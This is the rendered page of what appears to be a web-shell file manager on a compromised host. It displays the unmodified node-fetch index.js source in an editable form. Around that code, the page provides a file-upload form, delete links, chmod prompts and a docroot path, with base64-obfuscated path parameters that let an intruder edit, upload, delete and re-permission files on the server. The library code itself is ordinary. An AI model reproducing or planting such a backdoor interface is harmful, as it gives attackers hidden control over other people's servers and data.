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<hr>index.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM%3D&f=aW5kZXguanM%3D"><input name="f" value="index.js"><textarea name="t">/**
 * Index.js
 *
 * a request API compatible with window.fetch
 *
 * All spec algorithm step numbers are based on https://fetch.spec.whatwg.org/commit-snapshots/ae716822cb3a61843226cd090eefc6589446c1d2/.
 */

import http from 'node:http';
import https from 'node:https';
import zlib from 'node:zlib';
import Stream, {PassThrough, pipeline as pump} from 'node:stream';
import {Buffer} from 'node:buffer';

import {dataUriToBuffer} from 'data-uri-to-buffer';

import {writeToStream, clone} from './body.js';
import Response from './response.js';
import Headers, {fromRawHeaders} from './headers.js';
import Request, {getNodeRequestOptions} from './request.js';
import {FetchError} from './errors/fetch-error.js';
import {AbortError} from './errors/abort-error.js';
import {isRedirect} from './utils/is-redirect.js';
import {FormData} from 'formdata-polyfill/esm.min.js';
import {isDomainOrSubdomain, isSameProtocol} from './utils/is.js';
import {parseReferrerPolicyFromHeader} from './utils/referrer.js';
import {
	Blob,
	File,
	fileFromSync,
	fileFrom,
	blobFromSync,
	blobFrom
} from 'fetch-blob/from.js';

export {FormData, Headers, Request, Response, FetchError, AbortError, isRedirect};
export {Blob, File, fileFromSync, fileFrom, blobFromSync, blobFrom};

const supportedSchemas = new Set(['data:', 'http:', 'https:']);

/**
 * Fetch function
 *
 * @param   {string | URL | import('./request').default} url - Absolute url or Request instance
 * @param   {*} [options_] - Fetch options
 * @return  {Promise&lt;import('./response').default&gt;}
 */
export default async function fetch(url, options_) {
	return new Promise((resolve, reject) =&gt; {
		// Build request object
		const request = new Request(url, options_);
		const {parsedURL, options} = getNodeRequestOptions(request);
		if (!supportedSchemas.has(parsedURL.protocol)) {
			throw new TypeError(`node-fetch cannot load ${url}. URL scheme &quot;${parsedURL.protocol.replace(/:$/, '')}&quot; is not supported.`);
		}

		if (parsedURL.protocol === 'data:') {
			const data = dataUriToBuffer(request.url);
			const response = new Response(data, {headers: {'Content-Type': data.typeFull}});
			resolve(response);
			return;
		}

		// Wrap http.request into fetch
		const send = (parsedURL.protocol === 'https:' ? https : http).request;
		const {signal} = request;
		let response = null;

		const abort = () =&gt; {
			const error = new AbortError('The operation was aborted.');
			reject(error);
			if (request.body &amp;&amp; request.body instanceof Stream.Readable) {
				request.body.destroy(error);
			}

			if (!response || !response.body) {
				return;
			}

			response.body.emit('error', error);
		};

		if (signal &amp;&amp; signal.aborted) {
			abort();
			return;
		}

		const abortAndFinalize = () =&gt; {
			abort();
			finalize();
		};

		// Send request
		const request_ = send(parsedURL.toString(), options);

		if (signal) {
			signal.addEventListener('abort', abortAndFinalize);
		}

		const finalize = () =&gt; {
			request_.abort();
			if (signal) {
				signal.removeEventListener('abort', abortAndFinalize);
			}
		};

		request_.on('error', error =&gt; {
			reject(new FetchError(`request to ${request.url} failed, reason: ${error.message}`, 'system', error));
			finalize();
		});

		fixResponseChunkedTransferBadEnding(request_, error =&gt; {
			if (response &amp;&amp; response.body) {
				response.body.destroy(error);
			}
		});

		/* c8 ignore next 18 */
		if (process.version &lt; 'v14') {
			// Before Node.js 14, pipeline() does not fully support async iterators and does not always
			// properly handle when the socket close/end events are out of order.
			request_.on('socket', s =&gt; {
				let endedWithEventsCount;
				s.prependListener('end', () =&gt; {
					endedWithEventsCount = s._eventsCount;
				});
				s.prependListener('close', hadError =&gt; {
					// if end happened before close but the socket didn't emit an error, do it now
					if (response &amp;&amp; endedWithEventsCount &lt; s._eventsCount &amp;&amp; !hadError) {
						const error = new Error('Premature close');
						error.code = 'ERR_STREAM_PREMATURE_CLOSE';
						response.body.emit('error', error);
					}
				});
			});
		}

		request_.on('response', response_ =&gt; {
			request_.setTimeout(0);
			const headers = fromRawHeaders(response_.rawHeaders);

			// HTTP fetch step 5
			if (isRedirect(response_.statusCode)) {
				// HTTP fetch step 5.2
				const location = headers.get('Location');

				// HTTP fetch step 5.3
				let locationURL = null;
				try {
					locationURL = location === null ? null : new URL(location, request.url);
				} catch {
					// error here can only be invalid URL in Location: header
					// do not throw when options.redirect == manual
					// let the user extract the errorneous redirect URL
					if (request.redirect !== 'manual') {
						reject(new FetchError(`uri requested responds with an invalid redirect URL: ${location}`, 'invalid-redirect'));
						finalize();
						return;
					}
				}

				// HTTP fetch step 5.5
				switch (request.redirect) {
					case 'error':
						reject(new FetchError(`uri requested responds with a redirect, redirect mode is set to error: ${request.url}`, 'no-redirect'));
						finalize();
						return;
					case 'manual':
						// Nothing to do
						break;
					case 'follow': {
						// HTTP-redirect fetch step 2
						if (locationURL === null) {
							break;
						}

						// HTTP-redirect fetch step 5
						if (request.counter &gt;= request.follow) {
							reject(new FetchError(`maximum redirect reached at: ${request.url}`, 'max-redirect'));
							finalize();
							return;
						}

						// HTTP-redirect fetch step 6 (counter increment)
						// Create a new Request object.
						const requestOptions = {
							headers: new Headers(request.headers),
							follow: request.follow,
							counter: request.counter + 1,
							agent: request.agent,
							compress: request.compress,
							method: request.method,
							body: clone(request),
							signal: request.signal,
							size: request.size,
							referrer: request.referrer,
							referrerPolicy: request.referrerPolicy
						};

						// when forwarding sensitive headers like &quot;Authorization&quot;,
						// &quot;WWW-Authenticate&quot;, and &quot;Cookie&quot; to untrusted targets,
						// headers will be ignored when following a redirect to a domain
						// that is not a subdomain match or exact match of the initial domain.
						// For example, a redirect from &quot;foo.com&quot; to either &quot;foo.com&quot; or &quot;sub.foo.com&quot;
						// will forward the sensitive headers, but a redirect to &quot;bar.com&quot; will not.
						// headers will also be ignored when following a redirect to a domain using
						// a different protocol. For example, a redirect from &quot;https://foo.com&quot; to &quot;http://foo.com&quot;
						// will not forward the sensitive headers
						if (!isDomainOrSubdomain(request.url, locationURL) || !isSameProtocol(request.url, locationURL)) {
							for (const name of ['authorization', 'www-authenticate', 'cookie', 'cookie2']) {
								requestOptions.headers.delete(name);
							}
						}

						// HTTP-redirect fetch step 9
						if (response_.statusCode !== 303 &amp;&amp; request.body &amp;&amp; options_.body instanceof Stream.Readable) {
							reject(new FetchError('Cannot follow redirect with body being a readable stream', 'unsupported-redirect'));
							finalize();
							return;
						}

						// HTTP-redirect fetch step 11
						if (response_.statusCode === 303 || ((response_.statusCode === 301 || response_.statusCode === 302) &amp;&amp; request.method === 'POST')) {
							requestOptions.method = 'GET';
							requestOptions.body = undefined;
							requestOptions.headers.delete('content-length');
						}

						// HTTP-redirect fetch step 14
						const responseReferrerPolicy = parseReferrerPolicyFromHeader(headers);
						if (responseReferrerPolicy) {
							requestOptions.referrerPolicy = responseReferrerPolicy;
						}

						// HTTP-redirect fetch step 15
						resolve(fetch(new Request(locationURL, requestOptions)));
						finalize();
						return;
					}

					default:
						return reject(new TypeError(`Redirect option '${request.redirect}' is not a valid value of RequestRedirect`));
				}
			}

			// Prepare response
			if (signal) {
				response_.once('end', () =&gt; {
					signal.removeEventListener('abort', abortAndFinalize);
				});
			}

			let body = pump(response_, new PassThrough(), error =&gt; {
				if (error) {
					reject(error);
				}
			});
			// see https://github.com/nodejs/node/pull/29376
			/* c8 ignore next 3 */
			if (process.version &lt; 'v12.10') {
				response_.on('aborted', abortAndFinalize);
			}

			const responseOptions = {
				url: request.url,
				status: response_.statusCode,
				statusText: response_.statusMessage,
				headers,
				size: request.size,
				counter: request.counter,
				highWaterMark: request.highWaterMark
			};

			// HTTP-network fetch step 12.1.1.3
			const codings = headers.get('Content-Encoding');

			// HTTP-network fetch step 12.1.1.4: handle content codings

			// in following scenarios we ignore compression support
			// 1. compression support is disabled
			// 2. HEAD request
			// 3. no Content-Encoding header
			// 4. no content response (204)
			// 5. content not modified response (304)
			if (!request.compress || request.method === 'HEAD' || codings === null || response_.statusCode === 204 || response_.statusCode === 304) {
				response = new Response(body, responseOptions);
				resolve(response);
				return;
			}

			// For Node v6+
			// Be less strict when decoding compressed responses, since sometimes
			// servers send slightly invalid responses that are still accepted
			// by common browsers.
			// Always using Z_SYNC_FLUSH is what cURL does.
			const zlibOptions = {
				flush: zlib.Z_SYNC_FLUSH,
				finishFlush: zlib.Z_SYNC_FLUSH
			};

			// For gzip
			if (codings === 'gzip' || codings === 'x-gzip') {
				body = pump(body, zlib.createGunzip(zlibOptions), error =&gt; {
					if (error) {
						reject(error);
					}
				});
				response = new Response(body, responseOptions);
				resolve(response);
				return;
			}

			// For deflate
			if (codings === 'deflate' || codings === 'x-deflate') {
				// Handle the infamous raw deflate response from old servers
				// a hack for old IIS and Apache servers
				const raw = pump(response_, new PassThrough(), error =&gt; {
					if (error) {
						reject(error);
					}
				});
				raw.once('data', chunk =&gt; {
					// See http://stackoverflow.com/questions/37519828
					if ((chunk[0] &amp; 0x0F) === 0x08) {
						body = pump(body, zlib.createInflate(), error =&gt; {
							if (error) {
								reject(error);
							}
						});
					} else {
						body = pump(body, zlib.createInflateRaw(), error =&gt; {
							if (error) {
								reject(error);
							}
						});
					}

					response = new Response(body, responseOptions);
					resolve(response);
				});
				raw.once('end', () =&gt; {
					// Some old IIS servers return zero-length OK deflate responses, so
					// 'data' is never emitted. See https://github.com/node-fetch/node-fetch/pull/903
					if (!response) {
						response = new Response(body, responseOptions);
						resolve(response);
					}
				});
				return;
			}

			// For br
			if (codings === 'br') {
				body = pump(body, zlib.createBrotliDecompress(), error =&gt; {
					if (error) {
						reject(error);
					}
				});
				response = new Response(body, responseOptions);
				resolve(response);
				return;
			}

			// Otherwise, use response as-is
			response = new Response(body, responseOptions);
			resolve(response);
		});

		// eslint-disable-next-line promise/prefer-await-to-then
		writeToStream(request_, request).catch(reject);
	});
}

function fixResponseChunkedTransferBadEnding(request, errorCallback) {
	const LAST_CHUNK = Buffer.from('0\r\n\r\n');

	let isChunkedTransfer = false;
	let properLastChunkReceived = false;
	let previousChunk;

	request.on('response', response =&gt; {
		const {headers} = response;
		isChunkedTransfer = headers['transfer-encoding'] === 'chunked' &amp;&amp; !headers['content-length'];
	});

	request.on('socket', socket =&gt; {
		const onSocketClose = () =&gt; {
			if (isChunkedTransfer &amp;&amp; !properLastChunkReceived) {
				const error = new Error('Premature close');
				error.code = 'ERR_STREAM_PREMATURE_CLOSE';
				errorCallback(error);
			}
		};

		const onData = buf =&gt; {
			properLastChunkReceived = Buffer.compare(buf.slice(-5), LAST_CHUNK) === 0;

			// Sometimes final 0-length chunk and end of message code are in separate packets
			if (!properLastChunkReceived &amp;&amp; previousChunk) {
				properLastChunkReceived = (
					Buffer.compare(previousChunk.slice(-3), LAST_CHUNK.slice(0, 3)) === 0 &amp;&amp;
					Buffer.compare(buf.slice(-2), LAST_CHUNK.slice(3)) === 0
				);
			}

			previousChunk = buf;
		};

		socket.prependListener('close', onSocketClose);
		socket.on('data', onData);

		request.on('close', () =&gt; {
			socket.removeListener('close', onSocketClose);
			socket.removeListener('data', onData);
		});
	});
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/node-fetch/src<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaA=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&x=Ym9keS5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=Ym9keS5qcw=="/>body.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=Ym9keS5qcw==&c=`+btoa(c):0" value="0644"></td><td>9850</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmMvZXJyb3Jz"/>errors</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=ZXJyb3Jz&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&x=aGVhZGVycy5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=aGVhZGVycy5qcw=="/>headers.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=aGVhZGVycy5qcw==&c=`+btoa(c):0" value="0644"></td><td>6932</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&x=aW5kZXguanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=aW5kZXguanM="/>index.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=aW5kZXguanM=&c=`+btoa(c):0" value="0644"></td><td>12910</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&x=cmVxdWVzdC5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=cmVxdWVzdC5qcw=="/>request.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=cmVxdWVzdC5qcw==&c=`+btoa(c):0" value="0644"></td><td>8619</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&x=cmVzcG9uc2UuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=cmVzcG9uc2UuanM="/>response.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=cmVzcG9uc2UuanM=&c=`+btoa(c):0" value="0644"></td><td>3433</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmMvdXRpbHM="/>utils</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvbm9kZS1mZXRjaC9zcmM=&f=dXRpbHM=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>